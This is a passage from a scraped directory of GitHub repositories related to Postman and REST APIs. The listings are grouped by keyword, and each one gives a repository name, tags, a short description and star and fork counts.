crud, endpoint, endpoints, form, instance, interacting, performing, rest, restful, test 		A RESTful API performing CRUD(Create,Retrieve,Update,Delete) with Node.js, Express and MongoDB. Mongoose for interacting with the MongoDB instance. Postman is used to test these endpoints. 0 stars 0 watchers 0 forks

reports (5 listings) (Back to Top)

hanikhan/postman-collection-runner
collection, collections, export, exported, generate, module, newman, report, reports, runner 		Uses postman's newman module to run exported POSTMAN collections and generate detailed reports 1 stars 1 watchers 1 forks
daggerok/gradle-postman-example
collection, example, function, functional, gradle, html, newman, package, postman collection, report, reports, single, test, tests 		This repository contains example how to execute postman collection tests using gradle (newman npm package). Add functionality to collect all html reports into single one 1 stars 1 watchers 0 forks
gmanideep1991/gradle-newman-runner
collection, collections, development, generate, gradle, newman, postman collection, postman collections, report, reports, runner 		Run postman collections and generate reports. Still in development. 0 stars 0 watchers 0 forks
awaisbub/Shircle
aapplication, android, application, back end, business, businesses, customer, data, database, design, designed, developer, entity, following, framework, generation, insight, inventory, keeper, local, mobile, product, products, report, reports, rest, setup, solution, store, stores, studio, track 		It is Android aapplication back end code made for small local businesses. The back end of this application is in C# .NET using MVC architecture making REST APIs. And all the views are on Android. I worked as a back end developer in this app. Back end of the app is in c# using .NET entity framework. REST APIs developed using Model View Controller(MVC) architecture. Views were designed on android studio. The database was designed by using Code First Approach. (Visual Studio, Android Studio, Microsoft Azure, Microsoft SQL, SQLite, Postman, Entity Framework, MVC, Firebase REST API’s, REST API’s, JSON) This app has the following features: I. It provides all in one business solution to shopkeepers. Shopkeeper can setup his online store, manage sales through mobile POS, track of inventory, sale reports generation, market insights, and trending products. II. On the other hand, customer can view nearby stores through Google Maps & Shircle-Eye, add products to virtual cart, and view trending items according to their interests. 0 stars 0 watchers 0 forks
carlaulloa/postman-report-test-rest
generate, report, reports, rest, test 		App to generate reports with Postman and Newman 0 stars 0 watchers 0 forks

summary (5 listings) (Back to Top)

cameronoxley/Newman-to-Slack
output, script, summary, test, webhook 		Runs a Newman test script and outputs the summary to a Slack webhook 0 stars 0 watchers 10 forks
spenceclark/newman-reporter-json-summary
json, mini, minimum, newman, report, reporter, result, summary 		A Newman JSON Reporter that strips the results down to a minimum 0 stars 0 watchers 2 forks
enufacas/azureDevOps.Postman
azure, collection, message, pull, send, stat, stats, summary 		Using a Postman collection to pull Azure DevOps Build stats and send summary Slack message 0 stars 0 watchers 0 forks
pogi09/Sample-code-for-summary
summary 		// здесь лежат примеры кодя используемых мною (в Автоматизации тестирования на Postman) 0 stars 0 watchers 0 forks
xraybat/groovy-postman-collection-runner
collection, groovy, json, parse, postman collection, runner, summary 		groovy postman collection runner json parse and summary 0 stars 0 watchers 0 forks

quality (5 listings) (Back to Top)

experiandataquality/postman-collections
collection, collections, data, experian, quality 		Experian Data Quality Postman collections 3 stars 3 watchers 18 forks
Inn4ki/chatapp
admin, application, applications, auth, chat, completed, computer, course, debug, debugging, design, designed, engine, file, files, form, format, included, including, lang, language, learn, learned, learning, lesson, logging, middleware, parameter, passing, passport, program, programming, protecting, quality, query, rating, route, router, routes, sets, speed, sync, training, tutorial, user, users, validation, video, web app 		NODE.JS WEB APPS WITH EXPRESS by Wes Higbee In this Node.js Web Apps with Express training course, expert author Wes Higbee will teach you how to create web applications and APIs with Express. This course is designed for users that are already familiar with HTML, CSS, and JavaScript. You will start by learning how to set up a web app, then jump into learning about the Jade view engine. From there, Wes will teach you about CRUD, including how to add the chat room view, respond with JSON, and edit chat rooms. This video tutorial also covers routers, middleware, APIs, and logging and debugging. Finally, you will learn about auth with passport, including passport user validation, protecting admin routes, and query string parameters. Once you have completed this computer based training course, you will have learned how to create web applications and APIs with Express. Working files are included, allowing you to follow along with the author throughout the lessons. About the Publisher Presented in stunning HD quality, the Infinite Skills range of video based training provides a clear and concise way to learn computer applications and programming languages at your own speed. Delivered to your Desktop, iPad ... More about Infinite Skills Table of Contents Setting Up A Web App What You Will Learn 00:03:28 About The Author 00:01:23 Project Setup 00:02:14 Spinning Up Our Server From Scratch 00:05:11 Serving Index.HTML 00:04:32 Serving Bootstrap Assets 00:05:52 Styling Our Site 00:01:16 How To Access Your Working Files 00:01:15 The Jade View Engine Why View Engines? 00:02:10 The Jade View Engine 00:06:32 HTML Tags In Jade 00:02:16 Attributes Classes And Ids In Jade 00:02:06 Serving Up Jade Views 00:04:24 HTML Reuse In Jade 00:06:26 Code In Jade Views 00:02:37 Passing Data To View Rendering 00:02:01 Setting A Default View Engine 00:00:37 String Interpolation In Jade 00:02:30 Generating Tables In Jade 00:03:50 Tabs And Spaces Oh My 00:01:21 Demystifying Jade 00:02:21 Crud Setting The Stage 00:01:01 Add Chat Room View 00:04:21 Post Chat Room Form 00:06:56 Parsing Form Data From The Request Body 00:04:22 Responding With JSON 00:03:20 Admin Chat Rooms Workflow 00:02:21 Named Route Parameters To Delete Rooms 00:05:59 Edit Chat Rooms 00:06:01 Edit Chat Rooms Part - 2 00:02:00 Responding With 404 Not Found 00:01:39 Wrap Up 00:01:23 Routers Extracting An Admin Module 00:04:47 Modular Admin Router 00:04:00 Pluggable Admin Mount Path 00:03:15 Stumbling Block - Relative Redirects 00:02:49 Chaining Routes 00:01:57 Middleware Understanding Routing And Middleware 00:05:45 Adding Custom Logging Middleware 00:02:15 Understanding Next() 00:01:31 Middleware To Fetch Data 00:07:24 Order Matters.Av 00:01:09 Scoping Middleware 00:03:53 What To Do With Errors 00:03:01 Last Thoughts 00:03:19 APIs A Client Side Chat App 00:01:55 Setup The Client Side Chat App 00:03:01 Creating An API 00:05:42 Modules Are Singletons 00:01:50 Postman To Test API 00:01:24 API Get Room Messages 00:05:49 Posting To An API 00:03:37 API To Delete Messages 00:03:15 Parsing JSON In The Request Body 00:03:25 Logging And Debugging Express-Debug 00:03:03 Logging With Morgan 00:01:45 File Access Log With Morgan 00:01:28 Built-In Express Debugging 00:01:57 When Things Go Wrong Throwing An Error In A Route Handler 00:01:39 Errors In Production 00:01:53 Custom Error Handlers 00:02:40 Browser Hangs 00:00:58 Hanging Async Request Handlers 00:01:17 Errors In Callbacks 00:03:32 Don't Swallow Callback Errors 00:02:46 Auth With Passport Auth With Passport 00:01:49 Login Form 00:06:31 Passport User Validation 00:05:20 Passport Session Serialization 00:01:49 Logging In 00:06:23 Logout 00:03:52 Authorizing Access To Block Anonymous Users 00:03:40 Protecting Admin Routes 00:02:04 Using User Information 00:02:48 Bypassing Login In Development 00:03:11 Query String Parameters 00:02:34 Auth Cookies 00:02:17 Last Thoughts 00:05:45 Publisher: Infinite Skills Release Date: March 2016 ISBN: 9781491958933 Running time: 4:09:49 Topic: Node.js 4 stars 4 watchers 5 forks
h-parekh/metadata-quality-checks
check, data, meta, postman tests, quality, test, tests 		A repository to share postman tests for metadata quality 1 stars 1 watchers 0 forks
jmaribau/DemoHtCm
api blueprint, asyncapi, check, checked, collection, collections, environment, fixtures, json schema, oauth, openid, quality, sql, test, tests, tool, tools 		Simple Api Rest Crud with Docker, Symfony 4.3, Mysql 5.7, PhpUnit, Unit Integration Functional tests, Data fixtures, 95% Coverage, Authentication JWT, Events, EventsSubscribers, Loggin, Authorization Roles, Services, Managers, Composer, MakeFile Commands, PostMan collections & environment, checked with quality tools, SOLID, clean code, best practices. 0 stars 0 watchers 0 forks
olvfg/gerenciador-viagens
assert, assurance, http, https, java, quality, test, util, utilizando 		https://medium.com/assertqualityassurance/como-construir-e-testar-uma-api-em-java-utilizando-o-postman-baae69d8b8aa 0 stars 0 watchers 0 forks

customers (5 listings) (Back to Top)

seswho/CyberArk_EPM_Postman_Collection
automat, automate, collection, console, customer, customers, document, documentation, enable, example, examples, form, task, tasks 		The CyberArk Endpoint Privilege Manager Web Services enable you to automate tasks that are usually performed manually in the EPM console. Available for both on-premise and SaaS customers. Postman collection has documentation and examples 2 stars 2 watchers 1 forks
ChuckMcAllister/CyberArk-EPM-REST-API-Postman-Collection
collection, customer, customers, data, document, documentation, example, examples, list, pull, version 		CyberArk Endpoint Privilege Manager has a REST API for pulling data starting with version 10.7. Available for both on-premise and SaaS customers. Postman collection has documentation and examples 0 stars 0 watchers 1 forks
bhanukandregula/microsoft-graph-bookings-apis
book, booking, collection, customer, customers, graph, insight, managing, microsoft 		Microsoft Bookings is for small and mid scale industries for managing appointments from the customers. This repo will give you a flexibility to use all the possible APIs that comes with Microsoft Bookings with NODE JS. It also consists of the Postman collection to give a quick try and understand its insights. 0 stars 0 watchers 0 forks
lposs/postman-scripts
bunch, customer, customers, endpoint, endpoints, find, partner, partners, script, scripts, support, supported 		A bunch of Postman scripts that partners and customers may find useful in exercising AM's REST endpoints. They are provided "as is" and are unsupported. 0 stars 0 watchers 0 forks
Simbadeveloper/AndelaCodeCamp
application, brings, business, businesses, catalog, customer, customers, developer, form, platform, register, reviews, user, users, web app 		a web application that provides a platform that brings businesses and individuals together. The platform will be a catalog where business owners can register their businesses for visibility to potential customers and will also give users (customers) the ability to write reviews for the businesses. 0 stars 0 watchers 0 forks

sequence (5 listings) (Back to Top)

idlem1nd/postman-pat
collection, collections, discover, multiple, postman collection, postman collections, sequence 		Runs multiple postman collections in sequence, discovers vars by naming convention 0 stars 0 watchers 2 forks
GAWKmdk/basic-REST.API-with-MeteorJS
client, config, configuration, configurations, sequence 		Instead of using DDP client configurations here is a basic GET, POST and PUT Request sequence. Use with Postman 1 stars 1 watchers 0 forks
cprice-ping/PingConfigurator
sequence, trigger, triggers 		A little Node.js app that triggers Postman Collections in sequence 0 stars 0 watchers 0 forks
raviteja548/xpath-postman
embedded, json, path, sequence, steps, version 		Involves a sequence of steps in conversion of set of set of xpath to json request and further this request will be embedded in postman 0 stars 0 watchers 0 forks
WendellOdom/Basic-Python-Data-Types-01
copy, data, program, python, sequence, type, types 		A sequence about Python Data types that leads to a circle of python data, JSON, Postman REST calls, and copying code into a Python program. 0 stars 0 watchers 0 forks

sessions (5 listings) (Back to Top)

Mir00r/busticketing
access, action, actor, admin, api blueprint, application, applications, asyncapi, auth, authentication, boot, browser, case, cases, compare, compose, consisting, container, default, define, design, development, devices, docker, engine, file, find, following, form, frontend, function, functional, host, import, inside, install, interface, json schema, library, link, local, material, mobile, mysql, oauth, openid, operate, popular, predefined, profile, prototype, render, reservation, responsive, result, schedule, search, security, series, server, sessions, sql, system, systems, template, templates, ticket, token, type, user, users, web app 		Bus Reservation System_ and tried to implement an Admin portal which can be operated over browsers and a series of REST APIs to interact with the system using mobile applications or frontend applications written for the browsers. The complete systems has two important actors : 1. Admin user 2. End user The _Admin user_ can access this application on browser (laptop or mobile/tablet, doesn't really matter as this is built using bootstrap, material design and is completely responsive) and can perform the following actions : 1. Signup 2. Login (Spring sessions) 3. Update their profile 4. Create an agency 5. Add buses to the agency 6. Add trips consisting of predefined stops and buses The _End user_ can use their mobile application (yet to be built, however the REST APIs are ready and could be used via Postman or Swagger) to perform the following actions : 1. Signup 2. Login (and get a JWT token) 3. List all available stops 4. Search a trip between any two stops 5. Filter search results with a date option 6. Book a ticket for a given trip schedule Admin interface and REST APIs both have their independent authentication mechanisms, the web application uses the cookie based authentication (provided by default by Spring security) and the REST API uses the JWT authentication for access. This application assumes the availability of 'MongoDB' installation on the localhost where the server will run or the use of docker-compose to boot up a mysqldb container and link the application with it within the realm of docker. Any changes that the admin users will do on the web portal will impact the search results of the end users, there will be certain use cases which you may find missing here, I hope you will appreciate that the overall idea was to present a way to create such an application completely inside the realm of Spring Boot and not to actually building a fully functional reservation system. The admin user interface is completely written in material design using Bootstrap v4 and is responsive to suite a variety of devices. The template engine used to render the admin views is Thymeleaf since the library is extremely extensible and its natural templating capability ensures templates can be prototyped without a back-end – which makes development very fast when compared with other popular template engines such as JSP. 1 stars 1 watchers 2 forks
bdrupieski/FiddlerExportToPostman
export, extension, form, format, import, sessions 		A Fiddler extension to export sessions in a format Postman can import 0 stars 0 watchers 0 forks
BoezS/FiddlerToPostman
captured, collection, sessions 		Export captured Fiddler sessions as a Postman collection 0 stars 0 watchers 0 forks
divyanshu-rawat/Basic-Authentication-Node.js
application, auth, authenticate, authenticated, cookies, sessions, track, user, users 		An application that uses cookies and Express sessions approaches to track authenticated users. 0 stars 0 watchers 0 forks
majdbk/JAVA-EE-Women-Empowerment-Plateform
development, form, news, sessions, social, training, user, users 		Design / Backend development of the Women empowerment plateform, a social news plateform where users can manage and participate in training sessions and give their feedback. Tools: Java/JEE, JBOSS/Wildfly, PostgreSQL, Postman, Apache Maven, Hibernate ORM 0 stars 0 watchers 0 forks

components (5 listings) (Back to Top)

VictorDeon/Pigeon
communication, component, components, exchange, framework, media, message, messages, python, service, services, type, types 		Pigeon is a framework developed in python that was made to intermediate the use of RabbitMQ services in a quick and easy way, these services of communication between components / services through different types of context of exchange of messages 1 stars 1 watchers 0 forks
SalahEddine007/mern_devconnector
action, application, backend, bank, basics, component, components, container, course, editor, elegant, endpoint, endpoints, extension, frontend, includes, integrate, mern, network, rating, resource, resources, route, routes, script, social, source, stat, test, testing, workflow 		Welcome to "MERN Stack Front To Back". In this course we will build an in depth full stack social network application using Node.js, Express, React, Redux and MongoDB along with ES6+. We will start with a bank text editor and end with a deployed full stack application. This course includes... Building an extensive backend API with Node.js & Express Protecting routes/endpoints with JWT (JSON Web Tokens) Extensive API testing with Postman Integrating React with our backend in an elegant way, creating a great workflow Building our frontend to work with the API Using Redux for app state management Creating reducers and actions for our resources Creating many container components that integrate with Redux Testing with the Redux Chrome extension Creating a build script, securing our keys and deploy to Heroku using Git This is NOT an "Intro to React" or "Intro to Node" course. It is a practical hands on course for building an app using the incredible MERN stack. I do try and explain everything as I go so it is possible to follow without React/Node experience but it is recommended that you know at least the basics first. 0 stars 0 watchers 0 forks
guys1444/node.js-socialNetwork
action, backend, component, components, container, elegant, endpoint, endpoints, extension, frontend, integrate, node, rating, resource, resources, route, routes, social, source, stat, test, testing, workflow 		socialNetwork that ive made in node.js Building an extensive backend API with Node.js & Express Protecting routes/endpoints with JWT (JSON Web Tokens) Extensive API testing with Postman Integrating React with our backend in an elegant way, creating a great workflow Building our frontend to work with the API Using Redux for app state management Creating reducers and actions for our resources Creating many container components that integrate with Redux Testing with the Redux Chrome extension ,MERN STACK 0 stars 0 watchers 0 forks
JaredStrandWSU/CougsInSpace-Website
component, components, party, site, tool, tools, website, wrapper, wrappers 		This website was built using components of HTML, CSS, JavaScript, and Python. Some third party tools and wrappers used include SQLAlchemy, Bootstrap, Flask, and Postman. 0 stars 0 watchers 0 forks
madaoguteng/postman
action, component, components, distributed, message, solution, transactions 		Postman is a components based on Java, which is solution to help you dealing with distributed transactions. it is Implementation of distributed message dealing and Saga. 0 stars 0 watchers 0 forks

assist (5 listings) (Back to Top)

Adobe-Marketing-Cloud/exchange-aep-profile-integration-postman
assist, collection, exchange, file, files, integration, partner, partners, postman collection, profile 		A postman collection to assist Exchange partners to build an integration with AEP Profiles 0 stars 0 watchers 0 forks
ChrisSun99/SeeTheUnseen
assist, reading, task, tasks, user, users 		An Android app using Cloud OCR to assist text reading tasks for users with vision impairment. 0 stars 0 watchers 0 forks
KirshikaKanthasamy/PostmanAssistantWebapp
assist, web app 		Postman assistant web app 0 stars 0 watchers 0 forks
KirshikaKanthasamy/postman_assistant
assist, web app 		Postman assistant web app 0 stars 0 watchers 0 forks
laudecir/techassist-postman
assist 		Postman Collections Project 0 stars 0 watchers 0 forks

prior (5 listings) (Back to Top)

PearsonDevelopersNetwork/LearningStudio-HelloWorld-CSharp
advance, advanced, application, browser, console, data, exploring, form, format, function, functional, information, pointing, preferred, prior, returned, running, sandbox, site, updating, website 		Start exploring the APIs right away with this fully-functional application that works right out of the box. Using your browser, you can get started with running any GET request to see how data is returned; try more advanced calls (creating and updating information) by pointing your preferred API console at it (e.g., Postman or Fiddler). You will need a key and sandbox prior to using it, available through the PDN website. 1 stars 1 watchers 1 forks
PearsonDevelopersNetwork/LearningStudio-HelloWorld-PHP
advance, advanced, application, browser, console, data, exploring, form, format, function, functional, information, pointing, preferred, prior, returned, running, sandbox, site, updating, website 		Start exploring the APIs right away with this fully-functional application that works right out of the box. Using your browser, you can get started with running any GET request to see how data is returned; try more advanced calls (creating and updating information) by pointing your preferred API console at it (e.g., Postman or Fiddler). You will need a key and sandbox prior to using it, available through the PDN website. 1 stars 1 watchers 1 forks
PearsonDevelopersNetwork/LearningStudio-HelloWorld-Java
advance, advanced, application, browser, console, data, exploring, form, format, function, functional, information, pointing, preferred, prior, returned, running, sandbox, site, updating, website 		Start exploring the APIs right away with this fully-functional application that works right out of the box. Using your browser, you can get started with running any GET request to see how data is returned; try more advanced calls (creating and updating information) by pointing your preferred API console at it (e.g., Postman or Fiddler). You will need a key and sandbox prior to using it, available through the PDN website. 0 stars 0 watchers 3 forks
PearsonDevelopersNetwork/LearningStudio-HelloWorld-Ruby
advance, advanced, application, browser, console, data, exploring, form, format, function, functional, information, pointing, preferred, prior, returned, running, sandbox, site, updating, website 		Start exploring the APIs right away with this fully-functional application that works right out of the box. Using your browser, you can get started with running any GET request to see how data is returned; try more advanced calls (creating and updating information) by pointing your preferred API console at it (e.g., Postman or Fiddler). You will need a key and sandbox prior to using it, available through the PDN website. 1 stars 1 watchers 0 forks
PearsonDevelopersNetwork/LearningStudio-HelloWorld-Python
advance, advanced, application, browser, console, data, exploring, form, format, function, functional, information, pointing, preferred, prior, returned, running, sandbox, site, updating, website 		Start exploring the APIs right away with this fully-functional application that works right out of the box. Using your browser, you can get started with running any GET request to see how data is returned; try more advanced calls (creating and updating information) by pointing your preferred API console at it (e.g., Postman or Fiddler). You will need a key and sandbox prior to using it, available through the PDN website. 0 stars 0 watchers 0 forks

inventory (5 listings) (Back to Top)

HrithikMittal/Nexus-Account
account, accounts, backend, enabling, inventory, track 		It is the backend repository of Mobile App enabling MSMEs to track finances and manage accounts and inventory📱 0 stars 0 watchers 4 forks
eagraf/react-starter-project
inventory, mock, react, starter 		Create a simple inventory using React, and a Postman mock API 0 stars 0 watchers 2 forks
skyupadhya/restful-db-interface
client, framework, interface, inventory, python, rest, restful, system, test, testing 		RESTFUL INVENTORY MANAGEMENT SYSTEM: Rest based inventory management system implemented using Bottle (python based) web framework. System testing was done using Postman REST client. 0 stars 0 watchers 1 forks
axel-n/inventory_management
description, inventory, script 		No description available. 0 stars 0 watchers 0 forks
awaisbub/Shircle
aapplication, android, application, back end, business, businesses, customer, data, database, design, designed, developer, entity, following, framework, generation, insight, inventory, keeper, local, mobile, product, products, report, reports, rest, setup, solution, store, stores, studio, track 		It is Android aapplication back end code made for small local businesses. The back end of this application is in C# .NET using MVC architecture making REST APIs. And all the views are on Android. I worked as a back end developer in this app. Back end of the app is in c# using .NET entity framework. REST APIs developed using Model View Controller(MVC) architecture. Views were designed on android studio. The database was designed by using Code First Approach. (Visual Studio, Android Studio, Microsoft Azure, Microsoft SQL, SQLite, Postman, Entity Framework, MVC, Firebase REST API’s, REST API’s, JSON) This app has the following features: I. It provides all in one business solution to shopkeepers. Shopkeeper can setup his online store, manage sales through mobile POS, track of inventory, sale reports generation, market insights, and trending products. II. On the other hand, customer can view nearby stores through Google Maps & Shircle-Eye, add products to virtual cart, and view trending items according to their interests. 0 stars 0 watchers 0 forks

dockerized (5 listings) (Back to Top)

mixaverros88/dockerized-java-api
container, containes, docker, dockerized, file, java, order 		A RESTful API with JAX-RS. This repo containes one dockerfile in order to spin up a container. 2 stars 2 watchers 0 forks
banzaicloud/dockerized-newman
cloud, docker, dockerized, newman, test, testing 		Automated end-2-end testing with Postman in Docker 1 stars 1 watchers 0 forks
benmangold/ffmpeg-service
coding, docker, dockerized, encoding, node, service 		a dockerized node.js service for encoding with ffmpeg 0 stars 0 watchers 2 forks
timrsfo/postman-magento
agent, collection, collections, docker, dockerized, environment, environments, implements, magento 		dockerized-magento 1.9x implements OAuth 1.0a REST Api. Postman environments, collections 0 stars 0 watchers 1 forks
lpuskas/dockerized-newman
docker, dockerized, newman, test, testing 		End2End testing w/ postman 0 stars 0 watchers 0 forks

supported (5 listings) (Back to Top)

TakuCoder/postman
desktop, desktops, devices, header, including, method, methods, parameter, pretty, stat, status, style, submit, support, supported, test, testing, tool 		Postman is a REST API testing tool for Android devices. It helps to test REST API without desktops. can submit a HTTP request with several headers, parameters and raw request body by 6 different HTTP methods including GET, POST, HEAD, PUT, DELETE and PATCH. HTTP response can be shown as three styles including pretty, raw and preview. Response status code and headers are also supported in Postman-Android. Currently in Development Stage 3 stars 3 watchers 2 forks
gaohuia/HttpUnit
http, light, support, supported, tool, tools 		Send http requests with sublime rather than tools like PostMan. Syntax hilight, Comment supported 3 stars 3 watchers 0 forks
lposs/postman-scripts
bunch, customer, customers, endpoint, endpoints, find, partner, partners, script, scripts, support, supported 		A bunch of Postman scripts that partners and customers may find useful in exercising AM's REST endpoints. They are provided "as is" and are unsupported. 0 stars 0 watchers 0 forks
Oculogx/Node-REST-API
debug, support, supported 		REST-API supported by Node.js and debugged with Postman 0 stars 0 watchers 0 forks
Tiausa/CloudAPI
account, data, database, form, format, information, party, provider, related, spec, support, supported, test, test suite, user 		Implemented REST API that supported user account using 3rd party providers and account specific information. Used non-relational database to support related entities. Created full test suite using Postman. 0 stars 0 watchers 0 forks

scratch (5 listings) (Back to Top)

AanshSavla/Wiki-API
data, database, form, platform, scratch, software, wiki, wikipedia 		This is a RESTful API built from scratch.It's similar to the wikipedia .It's made using NodeJS using ExpressJS . The database is created on a GUI platform called Robo3T . Request are made using Postman software. 0 stars 0 watchers 0 forks
Aleksandandar-Nedelkovski/RESTful-API
scratch 		Create RESTful API from scratch using Postman, Node, and Express. 0 stars 0 watchers 0 forks
CaptainStorm21/node-restapi-express-automobiles
express, mobile, mongo, mongod, mongodb, node, rest, restapi, restful, scratch 		creating restful API from scratch using node/mongodb/express postman 0 stars 0 watchers 0 forks
liamkeegan/net-aci-setup
bridge, collection, collections, network, scratch, setup, spec 		Want to set up an ACI fabric in network-centric naming mode from scratch? Here's a handful of Postman collections that will take a Cisco ACI fabric (specifically, the ACI simulator) and setup the fabric for L2 and L3 outs, bridge domains, permit-any EPGs, and a Production VRF. 0 stars 0 watchers 0 forks
lilarkin/api_practice
learn, learning, scratch 		learning how to create an API from scratch with Node.js, MongoDB, and Postman. 0 stars 0 watchers 0 forks

functioning (5 listings) (Back to Top)

Carlos-Alonzo/REST-API-with-persistence-in-RDBMS
browser, function, functioning, persistence, spec, tool 		ully functioning REST API with persistence in RDBMS that can be inspected via a browser or a tool like Postman. 1 stars 1 watchers 0 forks
elmasria/final-customer-reviews-api
browser, customer, function, functioning, persistence, polyglot, reviews, spec, tool 		Create a fully functioning REST API with polyglot persistence that can be inspected via a browser or a tool like Postman. 0 stars 0 watchers 0 forks
elmasria/midterm-customer-reviews-api
browser, customer, function, functioning, persistence, reviews, spec, tool 		Build a fully functioning REST API with persistence in RDBMS that can be inspected via a browser or a tool like Postman. 0 stars 0 watchers 0 forks
pvsenan/udacity-reviews-api
browser, city, function, functioning, persistence, reviews, spec, tool, udacity 		Build a reviews api with fully functioning REST API with persistence in RDBMS that can be inspected via a browser or a tool like Postman. 0 stars 0 watchers 0 forks
vigs8884/screen-recording-of-API-functioning-on-POSTMAN
function, functioning 		0 stars 0 watchers 0 forks

hosting (5 listings) (Back to Top)

rcelsom/Boat-Tracker
cloud, data, datastore, document, documentation, environment, host, hosting, included, storage, store, test, test suite 		This is a REST API using Google cloud for hosting and Google datastore for storage. API documentation and Postman test suite and environment is included 1 stars 1 watchers 0 forks
sonali-developer/SmackApplication
application, background, chat, clone, creation, data, design, designed, developer, display, email, fetch, fetching, file, files, form, generating, host, hosting, includes, library, local, login, lots, mail, message, messages, model, models, namely, node, play, playing, profile, rating, real time, register, registration, saving, script, select, selection, send, service, sets, store, talk, user, users 		App Description: A clone of chat application namely Slack. It is a full fledged and professional looking ready to publish app on Appstore. It allows first time user to register by providing unique username, email and password along with selection of Avatar and Avatar's Background color; login using registered email and password, participate in channels available for chat, create new channel by adding users, perform live chat with other users of this app, can even logout, and so on. • Built using Xcode 9, Swift 4, Cocoa pods, node.js, MongoDB, Heroku, Postman, etc. for iOS 11 based iPhones and iPads. • Local Frameworks used includes Foundation, UIKit and other API's like Alamofire, SwiftyJSON, SocketIO, REST, SWReveal, etc. • Demonstrated the use of Networking in iOS. • Implemented Web Request creation in Xcode using UIKit, APIs, node.js and Mongo dB online. • Implemented Web service API hosting online using Heroku and local hosting using Postman. • Implemented user creation and real time talking using Socket Technology through SocketIO library. • Implemented Web Service for User Registration, Authentication & Login, Channels Creation & display, fetching, sending and saving text messages and many more. • Implemented Table Views, Collection Views & custom design of their cells using data models. • Implemented side menu for the display of user profile and channels using SWReveal and Gradient color design code for providing gradient color background to this side menu. • Implemented creation of two XIB's for Channels creation and profile view’s popUp. • Implemented SegmentedControl for displaying 28 Dark and Light Avatar displays and code for generating Avatar’s background color on user registration screen. • Implemented Input Accessory View for Text field. • In all designed around eight View Controllers and their corresponding storyboard file for GUI design, Four Services, two custom cells, seven view files, two model files and lots of assets and so on. 0 stars 0 watchers 2 forks
dreamfactorysoftware/dreamfactory-postman-collection
actor, collection, collections, host, hosting, play, software 		A repository for hosting plug-n-play Postman collections 0 stars 0 watchers 0 forks
MahmoudNafea/task-manager-app
compass, data, database, find, heroku, host, hosting, link, manager, task 		Using Node js and MongoDB NO SQL database through MongoDB compass hosting and deployed on heroku. Kindly find the link to interact with the database through postman. 0 stars 0 watchers 0 forks
smshosting/smshosting-api-postman-collection
chiamate, collection, host, hosting 		Collezione di chiamate REST realizzate con Postman 0 stars 0 watchers 0 forks

interactive (5 listings) (Back to Top)

fullstorydev/grpcui
active, fullstory, grpc, interactive, lines 		An interactive web UI for gRPC, along the lines of postman 701 stars 701 watchers 57 forks
faressoft/postman-runner
active, collection, collections, interactive, interactively, postman collection, postman collections, product, productivity, runner, tool 		CLI productivity dev tool to run postman collections interactively 3 stars 3 watchers 0 forks
opentable/falcor-postman
active, browser, graph, graphical, interactive, queries 		A graphical interactive in-browser IDE to validate Falcor queries. 0 stars 0 watchers 2 forks
annabush092/hey-mr-postman
active, display, email, interactive, mail, play 		An interactive, 3D display of your email inbox 0 stars 0 watchers 1 forks
legiahoang/apiai-sails
active, data, interactive, weather 		postman make a call to API.AI to interactive with weather intent (hook data from worldweatheronline) 0 stars 0 watchers 0 forks

vend (5 listings) (Back to Top)

hubtel/vend-api-postman-collection
collection, postman collection, vend 		A postman collection for trying out the Hubtel Vend API 1 stars 1 watchers 0 forks
vend/vend-postman
vend 		A Postman Collection for Vend API Endpoints 0 stars 0 watchers 2 forks
alibergstedt/vending-machine
machine, vend 		A brower-based virtual vending machine using REST API, JQuery, Postman, JSON. 0 stars 0 watchers 0 forks
mkeshnnnvend/vend-api
collection, endpoint, endpoints, vend 		collection of API endpoints for use with Postman 0 stars 0 watchers 0 forks
WelitonAmartins/projeto-cadastro-produtos
implementado, projet, projeto, vend 		Angular 6, Spring Boot MVC, Spring Data JPA, H2 Database, Postman, Java Orientação a Objetos e UML, foi implementado um projeto de cadastro de vendas de produtos. 0 stars 0 watchers 0 forks

implements (5 listings) (Back to Top)

Workday/postman
implements, library 		A library that implements Parcelable for you. 62 stars 62 watchers 12 forks
benfluleck/random-phone-number-generator
file, generate, generator, implements, java, javascript, order, phone, random, script, spec 		Random number generator is a full stack javascript app that implements a simple way to generate phone numbers in a file in an order specified 4 stars 4 watchers 2 forks
timrsfo/postman-magento
agent, collection, collections, docker, dockerized, environment, environments, implements, magento 		dockerized-magento 1.9x implements OAuth 1.0a REST Api. Postman environments, collections 0 stars 0 watchers 1 forks
CallanHP/oci-api-signing-postman-collection
collection, form, implements, require, required, script, scripts, signing 		This Postman collection implements pre-request scripts to perform the signing required to invoke the OCI APIs. 0 stars 0 watchers 0 forks
elvisoliveira/literate-train
challange, implements, lang, manager, program, programming, service, user 		A programming challange in Java SpringBoot. Restful service that implements a cache based user manager. 0 stars 0 watchers 0 forks

bulk (5 listings) (Back to Top)

dameyer/postman-sfdc-bulk2.0
bulk, collection, postman collection, steps, walks 		postman collection that walks through all the steps of using the Salesforce Bulk API V2.0 0 stars 0 watchers 0 forks
randomdize/json-to-postman-form-data
bulk, data, form, json, object, random, transform, transforming 		transforming json key-value object to form-data for postman bulk edit. 0 stars 0 watchers 0 forks
sriharshachilakapati/raw-to-formdata-converter
bulk, convert, converte, converter, data, form 		Convert bulk raw-data into Form-Data for PostMan responses 0 stars 0 watchers 0 forks
sushildangi/omnicuris-technical-assignment-e-commerce
application, assignment, bulk, case, cases, commerce, email, list, listing, mail, operation, operations, order, orders, stock, technical 		1. CRUD operations on items 2. All items listing 3. Single & bulk ordering (Just consider the item, no. of items & email ids as params for ordering) 4. All orders Please consider all the cases like out of stock etc. while making the application. You can also add more features/APIs as suitable for you. 0 stars 0 watchers 0 forks
vanirjr/multi.Postman
bulk, mail, mailing, powerful, running, server, servers, system 		a very powerful bulk mailing system for FreeBSD/Linux/Unix servers running Postfix and PHP 0 stars 0 watchers 0 forks

redux (5 listings) (Back to Top)

Gauthamjm007/Ticket-master
application, auth, issue, react, redux, solving 		An issue revsolving application made using react ,redux and postman api 3 stars 3 watchers 0 forks
CrystalCodes01/postman-react-redux
description, react, redux, script 		No description available. 0 stars 0 watchers 0 forks
senenkovitalik/express-mongodb-react-redux-todolist
description, express, list, mongo, mongod, mongodb, react, redux, script, todo 		No description available. 0 stars 0 watchers 0 forks
ahmedsaoudi85/Airbnb-Style-App-with-react-redux-express-and-mongodb
application, express, form, mongo, mongod, mongodb, react, redux, token, tokens 		full stack application using Node.js, Express, React, Redux, Redux form, MongoDb, Amazon S3, Stripe,JWT tokens, Postman, ES6 0 stars 0 watchers 0 forks
aymkin/track-server
